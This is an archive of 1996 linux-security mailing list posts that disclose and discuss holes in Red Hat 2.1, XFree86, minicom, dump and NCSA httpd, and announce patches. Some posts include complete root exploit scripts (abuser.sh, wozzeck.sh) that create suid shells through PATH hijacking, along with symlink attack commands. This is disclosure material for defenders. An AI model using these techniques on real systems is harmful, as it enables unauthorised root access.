ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/OTHER/rxvt-2.10-2.tar.gz Please verify the MD5 hash of the file prior to installing it. f3e08f8f97da3c4f245c8de970e05c9d rxvt-2.10-2.tar.gz CREDITS Marc Ewing ([email protected]) Ian Murdock ([email protected]) Adam J. Richter ([email protected]) Olaf Kirch ([email protected]) Allen Wheelwright ([email protected]) Jeff Uphoff ([email protected]) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMQ2+koxFUz2t8+6VAQGuWgQAgjshASO3Mz8ldHoUnJlSsDdXPwipmdc8 JLHGauq+AZasvWSoZKSpenakwklkzTDPNYm48g7/jlE97B2yANi1JxxYaK+QjZg8 C5imnKxj2LvgDxVy6+aSG1NvBqIWEush7VX2+Ubh1P3K8E2tth6SsdDx3qfY3/wK gbWzEY7Qu/4= =dCW2 -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Thu Feb 1 05:02:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id FAA29748; Thu, 1 Feb 1996 05:02:46 -0500 Message-Id: To: [email protected] Cc: [email protected] Subject: Problem with minicom 1.71 Mime-Version: 1.0 Content-Type: text/plain Date: Thu, 01 Feb 1996 04:07:01 +0100 From: Olaf Kirch Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, There is a problem present in minicom 1.72 and earlier versions that allows local users to execute programs under whatever uid or gid minicom runs. People often make minicom suid or sgid to some ID because they keep their tty log files in the UUCP spool directory or something like this. Please check whether your minicom binary runs suid or sgid, and consider upgrading. Miquel van Smoorenburg has fixed this in his latest version available at http://sunsite.unc.edu/pub/Linux/apps/comm/minicom-1.74.tar.gz Note that this is *not* the same problem as the one discussed half a year ago. I will send a more detailed explanation to linux-security within the next few days. Cheers Olaf -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMRAuTOFnVHXv40etAQFXZQP/TDNpB0Gyi64hDMsf2A2FqC6FyjSg7ZVT 7PwcTuH3Zu6Vh6qDQ9VpWYjpCxBLRd0ho6A4scCbQx90yGTuWwp6McMcYPyZlREo 0IvYW5B6MkBA0aeuJS1dNEotRfZhEMmzK50tvhXyaw+iRnlzOcX7dgMPsZgoGz/o ADCBsM5Vrnk= =SQva -----END PGP SIGNATURE----- linux-security/linux-security.960202100664 1767 1767 47006 6104527565 16656 0ustar majdommajdomFrom [email protected] Fri Feb 2 16:24:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA09629; Fri, 2 Feb 1996 16:23:59 -0500 Date: Mon, 29 Jan 1996 23:15:26 +0000 (GMT) From: Bruno Van Wilder To: David J Meltzer cc: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: XFree86 3.1.2 Security Problems In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- On Mon, 29 Jan 1996, David J Meltzer wrote: > There are security holes in XFree86 3.1.2, which installs its servers > as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, > it does not take proper precautions to ensure that file permissions are > maintained, resulting in the ability to overwrite files, and to read > limited portions of other files. [...] > Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* This patch is not only very hard to realise on systems that need X, it is also insufficient; if xdm is used, the hole can still be exploited with the above patch installed. While waiting for a patched X server, I have patched the binary image of my own XF86 server, so that the lock lives in a non-user-writeable directory. I know, binary patching _is_ dirty, but the other fix is to disable X as far as we know. This is my little program: - ----------------------------binpatch.c---------------------------------- #include main() { char c[3]; c[0]=getchar(); c[1]=getchar(); c[2]=getchar(); do { if ((c[0]=='t')&&(c[1]=='m')&&(c[2]=='p')) putchar('X'); else putchar(c[0]); c[0]=c[1]; c[1]=c[2]; c[2]=getchar(); } while(!feof(stdin)); putchar(c[0]); putchar(c[1]); } - ----------------------------------------------------------------------- This program needs to be compiled and applied as a filter to your X server: $ binpatch XF86_SVGA.new (or whatever X server you may be using) Replace your old X by the new one, keeping a copy of the old one. Do not forget to install it suid-root if users need to use startx (ie. if you are not using xdm). Two other things will need to be done: $ mkdir /Xmp $ ln -s /Xmp/.X11-unix /tmp/.X11-unix (because the libs refer to that subdir) - From now on, the lock and the socket will be placed under the subdirectory /Xmp, which should not be world-writeable. The symlink in /tmp is necessary because the libraries refer to that directory to access the X socket. This works for my own X-server; I hope it works for others. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: PGP Signed with PineSign 2.0 iQB1AwUBMQ1U6hPbz9VMa6MtAQHq7gMAwFb1PItybsLDMUVxB5OUUUtl0QPuKJ69 nqOntNbLvOFsAGfkr61urr4rGFQfbXjkxo39fEhCVPebrhBCl4SpbQSgij11jp7i CT8v1wlYOrIJsUsgFYKcu+Q1uLOjuv5+ =v3pD -----END PGP SIGNATURE----- Greetings, Bruno -- Bruno Van Wilder Royal Holloway, University of London main(int n,char**a){for(n=0;putchar(a[2][n]?(a[2][n]%32+(**a%2*2-1)* (a[1][n++%(a[2]-a[1]-1)]%32-1)+25)%26+97:10)-10;);} (Vigenere encryption/decryption) From [email protected] Fri Feb 2 17:00:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA09744; Fri, 2 Feb 1996 17:00:06 -0500 From: [email protected] Date: Tue, 30 Jan 1996 02:52:52 +0100 Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: Shadow /bin/login security hole Sender: [email protected] Precedence: list > I'd honestly like to know if anyone has heard a report of this occuring, > in part because isgraph() call in the conditional part of the for() loop. Well, what characters are considered to be graphic depends on the locale. Either setlocale() is called, but then people can use a locale where all characters are graphic, or setlocale() is not called, and then people cannot even enter their own name. From [email protected] Fri Feb 2 17:01:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA09758; Fri, 2 Feb 1996 17:01:18 -0500 From: David Dawes Message-Id: <[email protected]> Subject: Re: XFree86 3.1.2 Security Problems To: [email protected] (Bruno Van Wilder) Date: Tue, 30 Jan 1996 13:54:38 +1100 (EST) Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Bruno Van Wilder" at Jan 29, 96 11:15:26 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list >> There are security holes in XFree86 3.1.2, which installs its servers >> as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, >> it does not take proper precautions to ensure that file permissions are >> maintained, resulting in the ability to overwrite files, and to read >> limited portions of other files. >[...] >> Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* > >This patch is not only very hard to realise on systems that need X, it is >also insufficient; if xdm is used, the hole can still be exploited with >the above patch installed. Does anyone have any comments on a real fix for this? We (XFree86) will be finalising our next beta release quite soon. [Mod: Please direct responses to the author--not to the mailing list. --Jeff] I'd like the final solution to allow for both suid-root and non-suid servers (Xnest and Xvfb are not suid-root). One thought is to use a non-user-writable directory for the lock files when euid==0, and use /tmp when euid!=0. Does anyone see any problems with that? David -- David Dawes Email: [email protected] The XFree86 Project, Inc Phone: +61 2 351 2639 c/- School of Physics, Fax: +61 2 660 2903 University of Sydney 2006 AUSTRALIA From [email protected] Fri Feb 2 17:02:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA09772; Fri, 2 Feb 1996 17:02:26 -0500 Date: Tue, 30 Jan 1996 13:58:49 +0100 (MET) From: "Anthony C. Zboralski" X-Sender: [email protected] To: Linux Security Subject: Re: XFree86 3.1.2 Security Problems (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list ---------- Forwarded message ---------- Date: Tue, 30 Jan 1996 02:51:40 +0100 (MET) From: Anthony C. Zboralski To: Bugtraq List Cc: Multiple recipients of list BUGTRAQ Subject: Re: XFree86 3.1.2 Security Problems -----BEGIN PGP SIGNED MESSAGE----- On Mon, 29 Jan 1996, David J Meltzer wrote: > Date: Mon, 29 Jan 1996 00:16:46 -0500 > From: David J Meltzer > To: Multiple recipients of list BUGTRAQ > Subject: XFree86 3.1.2 Security Problems > > There are security holes in XFree86 3.1.2, which installs its servers > as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, > it does not take proper precautions to ensure that file permissions are > maintained, resulting in the ability to overwrite files, and to read > limited portions of other files. > The first problem stems from the server opening a temporary file, > /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this > file a symlink, the server will overwrite the original file, and then > write to it its current pid. > Other problems exist in the server relating to similar problems, one > such example is the ability to specify an arbitrary file for the XF86config > file which will then be opened, and the first line that fails to match > the expected format will be output with an error, allowing a line to be > read from an arbitrary file. > > Program: XFree86 3.1.2 servers > Affected Operating Systems: All systems with XFree86 3.1.2 installed > Requirements: account on system > Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* > Security Compromise: overwrite arbitrary files > Author: Dave M. ([email protected]) > Synopsis: While running suid root, XFree86 servers do > not properly check file permissions, allowing > a user to overwrite arbitrary files on a > system. > > > Exploit: > $ ls -l /var/adm/wtmp > -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp > $ ln -s /var/adm/wtmp /tmp/.tX0-lock > $ startx > (At this point exit X if it started, or else ignore any error messages) > $ ls -l /var/adm/wtmp > -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp > > Oh well if xdm is running.. The temporary patch won't do you good... Xdm manages a collection of X displays, which may be on the local host or remote servers. Xdm provides services similar to those provided by init, getty and login on character terminals: prompting for login name and password, authenticating the user, and running a ``session.'' Xdm is launched by root.. by default it will start a server on the local display. If the server crashes for some reason, gets killed or if the user sends a server abort sequence, it will restart the server.. $ps -ax |grep xdm 80 ? S 0:00 xdm 142 ? S 0:01 /usr/X11R6/bin/X -auth /usr/X11R6/lib/X11/xdm/A:0-a00080 179 v03 D 0:00 grep xdm $ls -l /var/log/wtmp - -rw-r--r-- 1 root root 31864 Jan 30 02:13 /var/log/wtmp $ ln -s /tmp/.tX0-lock /var/log/wtmp Now, you switch to the local X display and send the server abort sequence.. Wait until xdm pops up a new server process.. than switch back to shell: $ls -l /var/log/wtmp - -rw-r--r-- 1 root root 11 Jan 30 02:13 /var/log/wtmp Xdm doesn't need to kill the server when a user logs out so the only worry would be the sending of the abort sequence easily fixed by uncommenting in the "Don'tZap" setting in /etc/XF86Config.. but I have seen XF86 crashing so many times for unguessable reason so i don't think it will fix the prob. Maybe someone could take a look at the server sources so it does a system("/bin/rm /tmp/.tX0-lock") just before it a write to the file.. I don't have 'em handy.. ____ \ /__ Anthony C. Zboralski \/ / \/ Finger for PGP Public Key -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: France, Russia and Irak still forbid encryption.. iQCVAwUBMQ141V/59mQ4I551AQGVEgP/aO3+dCX8FA/2sNOeaE6p33u2+Ed1yuPM 2NyI14L3q1RQ7xt8seHQD1KzWxvRJxbSvWKhrIdhSuisAzlh8QJdn4hZ8ulgPNBf uesUvAbvVJjhhandT0wjVbL0rYRBJEs9NJtWTrrF/gZ+5+cuvnKM2iyeTcAY9EGL 2MvbAtN6yr4= =EwzG -----END PGP SIGNATURE----- From [email protected] Fri Feb 2 17:03:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA09790; Fri, 2 Feb 1996 17:03:29 -0500 X-Mailer: exmh version 1.6.4+cl+patch 10/10/95 To: [email protected] cc: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: bind() Security Problems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 01 Feb 1996 11:49:33 +0000 From: Richard Black Message-Id: Sender: [email protected] Precedence: list Sigh, I am not on any of these security lists but I have just been forwarded this alert about bind(). This is a "feature" of IP Multicast support. I reported this bug in November 1993 on the IP Multicast workers mailing list, and directly to Steeve Deering. This feature was deliberately added to the (previously secure) BSD networking code by Steeve Deering (or at any rate one of the IP multicast people working with him) in 1992 or 1993 because of the way that IP Multicast works. Since IP multicast uses UDP all the recipients of a multicast session world wide must be using the same UDP port number. Since global agreement on free port numbers is not practical it was made possible for an application to get access to a particular UDP port irrespective of its use elsewhere on the same machine. Most vendors (e.g. Digital Unix) have not accepted this hole and only permit sharing of the same port when ALL of the sockets involved have SO_REUSEADDR set. This works reasonably well in practice since port numbers chosen for multicast sessions are above the range normally cyclicly allocated to other applications. I have not been following IP multicast implementation work so I have no idea at what stage (or even whether) this fix was adopted. ----- Richard Black (usual disclaimers) University of Cambridge Computer Laboratory Cambridge United Kingdom From [email protected] Fri Feb 2 17:04:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA09815; Fri, 2 Feb 1996 17:04:29 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: bind() Security Problems To: [email protected] Date: Thu, 1 Feb 1996 18:47:48 +0000 (GMT) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Aleph's K-Rad GECOS Field" at Jan 30, 96 03:18:21 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list > Alan didnt like this, so all bind to the same port will > not be allowed in newer kernels. You should be able to easily adapt > this patch or Alan's patch to 1.2.13 without much trouble. The two things this breaks BTW are "named" and "xntpd". No virtual hosting server I have tried breaks. The supplied euid test is unsafe because some programs (older Linux nfsd for example) change uid as they do requests. I believe the correct solution in fact is to require BOTH sockets set SO_REUSEADDR to allow the rebind. Alan From [email protected] Fri Feb 2 19:42:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA11208; Fri, 2 Feb 1996 19:42:27 -0500 From: [email protected] (Remy Card) Message-Id: <[email protected]> Subject: Re: dump RedHat security hole To: [email protected] (David J Meltzer) Date: Sat, 3 Feb 1996 00:14:57 +0100 (MET) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "David J Meltzer" at "Jan 22, 96 08:45:37 pm" X-Mailer: ELM [version 2.4ME+ PL2 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > [mod: Marc Ewing has already made available an RPM for this; the URL is > ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm > --okir] > > There is a security hole in RedHat 2.1, which installs /sbin/dump suid > root. The dump program makes no provisions for checking file permissions, > allowing any user on the system to read arbitrary files on the system. > Dump checks permissions only on the directory you specify to backup, and > not on files or subdirectories. > The process to exploit this is to backup the files via dump as if it was > a normal backup to a temporary file, and then restore the temporary file > with /sbin/restore to your own directory. The solution is simple, don't > run dump suid root on your system. Firstly, people who think that they have found a security hole in a program should contact the author/porter/maintainer/... I have ported 4.4BSD dump to Linux and I maintain it and I never got any mail about this problem. Secondly, this security hole does not even exist! I have just checked and the problem, if any, is not in dump. Dump gives up its priviledges after establishing a connection to a remote host and *before* opening the filesystem: (void)setuid(getuid()); /* rmthost() is the only reason to be setuid */ If the calling user has read access on the special device, the open succeeds and the user can backup the filesystem, but if the calling user does not have read access on the device, the open fails: bbj>id uid=1001(card) gid=50(users) groups=50(users),0(wheel),19(disk) bbj>ls -l /dev/hda2 brw-r----- 1 root disk 3, 2 Oct 3 1993 /dev/hda2 bbj>/sbin/dump 0f woot.dump /dev/hda2 DUMP: Date of this level 0 dump: Sat Feb 3 00:00:28 1996 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda2 (/) to woot.dump DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 92218 tape blocks on 2.37 tape(s). DUMP: dumping (Pass III) [directories] ... bbj>id uid=2001(q1) gid=50(users) groups=50(users) bbj>/sbin/dump 0f woot.dump /dev/hda2 DUMP: Date of this level 0 dump: Sat Feb 3 00:01:15 1996 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda2 (/) to woot.dump /dev/hda2: Permission denied while opening filesystem This happens when trying to backup a subtree as well. So, I suspect that the problem is with the permissions on special files and not in dump itself. BTW, if special files are readable by users, one can use the ``debugfs'', ``dd'', ``strings'', and ``cat'' commands to view the contents of files, and these commands are not even setuid! The right solution to this problem is to fix the permissions on /dev entries. Next time, please be more prudent before telling that a program contains a security hole! At least, contact its maintainer to check with him... > Program: /sbin/dump incorrectly installed > Affected Operating Systems: RedHat 2.1 linux distribution > Requirements: account on system > Patch: chmod -s /sbin/dump > Security Compromise: read arbitrary files on system > Author: Dave M. ([email protected]) > Synopsis: dump fails to check file permissions against > user running dump, or to give up suid when > backing up a filesystem. > > Exploit: > $ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN > > /-------------\ > |David Meltzer| > |[email protected]| > /--------------------------\ > |School of Computer Science| > |Carnegie Mellon University| > \--------------------------/ Remy [Mod: This is not the first time that this issue has come up. If you are tempted to publicly announce a bug in something, please do not let your zeal to get the word out overcome your general sensibilities; contact the maintainer(s) of the package, if possible, prior to posting a message to bugtraq, linux-{security,alert}, etc. Doing so can save much in the way of embarrassment and/or hard feelings for *all* involved parties. --Jeff.] linux-security/linux-security.960203100664 1767 1767 14205 6104712050 16633 0ustar majdommajdomFrom [email protected] Sat Feb 3 11:58:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07383; Sat, 3 Feb 1996 11:58:07 -0500 Message-ID: <[email protected]> Date: Fri, 2 Feb 1996 22:28:30 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: abuse Red Hat 2.1 security hole Sender: [email protected] Precedence: list There is a security hole in Red Hat 2.1, which installs the game abuse, /usr/lib/games/abuse/abuse.console suid root. The abuse.console program loads its files without absolute pathnames, assuming the user is running abuse from the /usr/lib/games/abuse directory. One of these files in the undrv program, which abuse executes as root. If the user is not in the abuse directory when running this, an arbitrary program can be substituted for undrv, allowing the user to execute arbitrary commands as root. If abuse.console needs to be run by users other than root at the console, provisions need to be made in the code to not execute or load any files as root. Program: /usr/lib/games/abuse/abuse.console suid root Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/lib/games/abuse/abuse.console Security Compromise: root Author: Dave M. ([email protected]) Synopsis: abuse.console runs undrv without an absolute pathname while executing as root, allowing a user to substitute the real undrv with an arbitrary program. Exploit: #!/bin/sh # # abuser.sh # exploits a security hole in abuse to create # a suid root shell /tmp/abuser on a linux # Red Hat 2.1 system with the games package # installed. # # by Dave M. ([email protected]) # echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/lib/games/abuse/abuse.console then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/undrv #!/bin/sh /bin/cp /bin/sh /tmp/abuser /bin/chmod 4777 /tmp/abuser _EOF_ chmod +x /tmp/undrv PATH=/tmp echo ================ Executing Abuse /usr/lib/games/abuse/abuse.console /bin/rm /tmp/undrv if test -u /tmp/abuser then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Sat Feb 3 11:58:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07397; Sat, 3 Feb 1996 11:58:14 -0500 Message-ID: Date: Fri, 2 Feb 1996 22:31:23 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: resizecons Red Hat 2.1 security hole Sender: [email protected] Precedence: list There is a security hole in Red Hat 2.1, which installs the program /usr/bin/resizecons suid root. The resizecons program allows a user to change the videmode of the console. During this process, it runs the program restoretextmode without an absolute pathname, assuming the correct version will be found in the path, while running with root privileges. It then executes setfont in the same manner. By setting the path to find a rogue restoretextmode, a user can execute an arbitrary program as root. As a more amusing aside, the file /tmp/selection.pid is read and the pid contained within is sent a SIGWINCH, allowing a user on the system to force a redraw of the screen to an arbitrary process (that handles SIGWINCH calls) on the machine. If /usr/bin/resizecons needs to be run by users other than root at the console, provisions need to be made in the code to execute the outside utilities with absolute pathnames, and to check access rights on files before opening. Program: /usr/bin/resizecons Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Temporary Patch: chmod -s /usr/bin/resizecons Security Compromise: root Author: Dave M. ([email protected]) Synopsis: resizecons runs restoretextmode without an absolute pathname while executing as root, allowing a user to substitute the real program with arbitrary commands. Exploit: wozzeck.sh: #!/bin/sh # # wozzeck.sh # exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system. # # by Dave M. ([email protected]) # echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/bin/resizecons then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/313x37 This exploit is dedicated to Wozz. Use it with care. _EOF_ cat << _EOF_ > /tmp/restoretextmode #!/bin/sh /bin/cp /bin/sh /tmp/wozz /bin/chmod 4777 /tmp/wozz _EOF_ /bin/chmod +x /tmp/restoretextmode PATH=/tmp echo ================ Executing resizecons /usr/bin/resizecons 313x37 /bin/rm /tmp/restoretextmode /bin/rm /tmp/313x37 if test -u /tmp/wozz then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ linux-security/linux-security.960207100664 1767 1767 7221 6106170655 16632 0ustar majdommajdomFrom [email protected] Wed Feb 7 12:09:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA20748; Wed, 7 Feb 1996 12:09:44 -0500 Resent-Date: Wed, 7 Feb 1996 12:07:37 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Approved-By: [email protected] X-Mailer: ELM [version 2.4 PL24] Content-Type: text Approved-By: Rogue Agent Message-ID: <[email protected]> X-To: [email protected] Reply-To: Bugtraq List From: Rogue Agent To: Multiple recipients of list BUGTRAQ Subject: [linux-security] [Fwd: HTTPd 1.5a Security Hole!!! (fwd)] Date: Tue, 6 Feb 1996 19:28:04 -0500 X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list I seem to recall this hole being pointed out, and subsequently corrected, in an earlier version (1.0a5? 1.3?) of NCSA's httpd. Has it crept back? Anyone care to verify this? --Up. Resent from Bugtraq: ---------- Forwarded message ---------- Date: Tue, 6 Feb 1996 17:47:08 -0600 From: John P. Nelson To: Multiple recipients of list IAP Subject: HTTPd 1.5a Security Hole!!! VERY IMPORTANT for Internet Service Providers using linux, providing public WWW space!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------- FROM: The InterNetwork Operating Company, Inc. RE: InterNOC Security Advisory Known Affected Systems: Linux 1.2.8 using NCSA HTTPd 1.5a Description: The InterNetwork Operating Company has discovered a security hole related to Linux 1.2.8 and NCSA HTTPd 1.5a. In affected systems, the NCSA server, running as nobody/nogroup is able to access any files that are mode ?00 (readable only by owner). The security hole is known to occur through symbolic links as well as through aliases specified in the srm.conf file. It is known that through properly placed symbolic links, it is possible to obtain the shadow password file, user mail files, etc. This is extermely important for public Internet Service Providers that provide users with WWW space. This same security hole has been tested on BSDI 2.0.1, which does not appear to be affected. It has not yet been tested on other systems or with other http servers. [email protected] John Nelson The InterNetwork Operating Company, Inc. From [email protected] Wed Feb 7 13:38:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA21166; Wed, 7 Feb 1996 13:38:34 -0500 Date: Wed, 7 Feb 1996 13:34:15 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] Regarding the forwarded Bugtraq post on NCSA httpd. X-Palindrome: O, memsahib Bart, rabbi has memo. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list I screwed up and forgot to remove a header when I resent the Bugtraq/httpd message to linux-security! Please do *not* use the "Reply-To:" address in the message--it points back to the Bugtraq list. Please send all replies/followups to linux-security. (I won't likely be approving many of the replies, but I will be posting a summary of findings once I have some.) --Up. linux-security/linux-security.960210100664 1767 1767 5673 6107176205 16633 0ustar majdommajdomFrom [email protected] Sat Feb 10 15:13:56 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA02429; Sat, 10 Feb 1996 15:13:55 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] cc: [email protected], [email protected], [email protected] Subject: [linux-security] RedHat 2.1 RPMs for fixed sliplogin Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 09 Feb 1996 11:08:21 -0500 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list ------- Forwarded Message Return-Path: [email protected] Return-Path: [email protected] Received: from elmer-fudd.redhat.com (elmer-fudd.redhat.com [199.183.24.3]) by bach.cis.temple.edu (8.7.1/8.7.1) with ESMTP id LAA06233 for ; Fri, 9 Feb 1996 11:04:34 -0500 Received: from elmer-fudd.redhat.com (localhost [127.0.0.1]) by elmer-fudd.redhat.com (8.7.3/8.7.3) with ESMTP id LAA29895; Fri, 9 Feb 1996 11:05:29 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] Cc: "Alexander O. Yuriev" Subject: SECURITY FIX: New NetKit-B and sliplogin RPMs available Mime-Version: 1.0 Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=82BFC7ED Content-Transfer-Encoding: 7bit Date: Fri, 09 Feb 1996 11:05:28 -0500 From: Marc Ewing - -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii A security hole exists in sliplogin as shipped in the NetKit-B RPM on all releases of Red Hat Linux. The hole may allow users to gain unauthorized root access. The fix involves removing sliplogin from the NetKit-B RPM, so you must install a new NetKit-B and sliplogin. All users should upgrade immediately. Intel: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7. i386.rpm rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/sliplogin-2.0.2- 1.i386.rpm Alpha: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/NetKit-B-0.0 6-7.axp.rpm rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/sliplogin-2. 0.2-1.axp.rpm MD5 sums: 601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm a624b9785e6261e3589ce9863dd60057 sliplogin-2.0.2-1.i386.rpm 252d23d3c9fd19ac788513efa6c710b8 NetKit-B-0.06-7.axp.rpm a1242e61bf90fc6d9154e14ba4f1e379 sliplogin-2.0.2-1.axp.rpm - - -Marc - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMRtwxURxU2iCv8ftAQEGCQQAt26MLcKIOgIorJLxXwQvlwh0J3j1b/zS l+Qf37UadY1hKgMRrmf6vgHK779tcDUVfV6mlsmDf0QmXbhgBb/YhqrkPO3z8QWJ LkCtWw6PELOVuItFAA0jX7cT7J5qvbLOe8MpMspyR2R/EVNWeiZJPAdB87e5GbSR 7FnxRf8NO7c= =MHjm - -----END PGP SIGNATURE----- ------- End of Forwarded Message linux-security/linux-security.960212100664 1767 1767 11501 6107644755 16652 0ustar majdommajdomFrom [email protected] Mon Feb 12 06:06:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA07431; Mon, 12 Feb 1996 06:06:27 -0500 Message-Id: <[email protected]> Subject: [linux-security] Kernels 1.3.6[12] break IP firewalling To: [email protected] Date: Sun, 11 Feb 1996 20:11:25 +0100 (MET) From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME8b] MIME-Version: 1.0 Content-Type: application/pgp; format=text; x-action=sign Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- The 1.3.61 and 1.3.62 kernels break IP firewalling due to new setsockopt() arguments. There is currently no publically available set of utilities to make firewalling work under these kernels. If you depend on firewalling, STAY AWAY FROM THESE KERNELS. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMR4/UfBu+cbJcKCVAQFlNAQAgL+D9xcY6OeoFEHIXPd48TXJib9uaqSS rPlZ0IoZ9/ivY3sQCRq/KgTn/N8s1ojTLDQwTGnxjQqJBIM45Jh8KhKDkpVk5Oq1 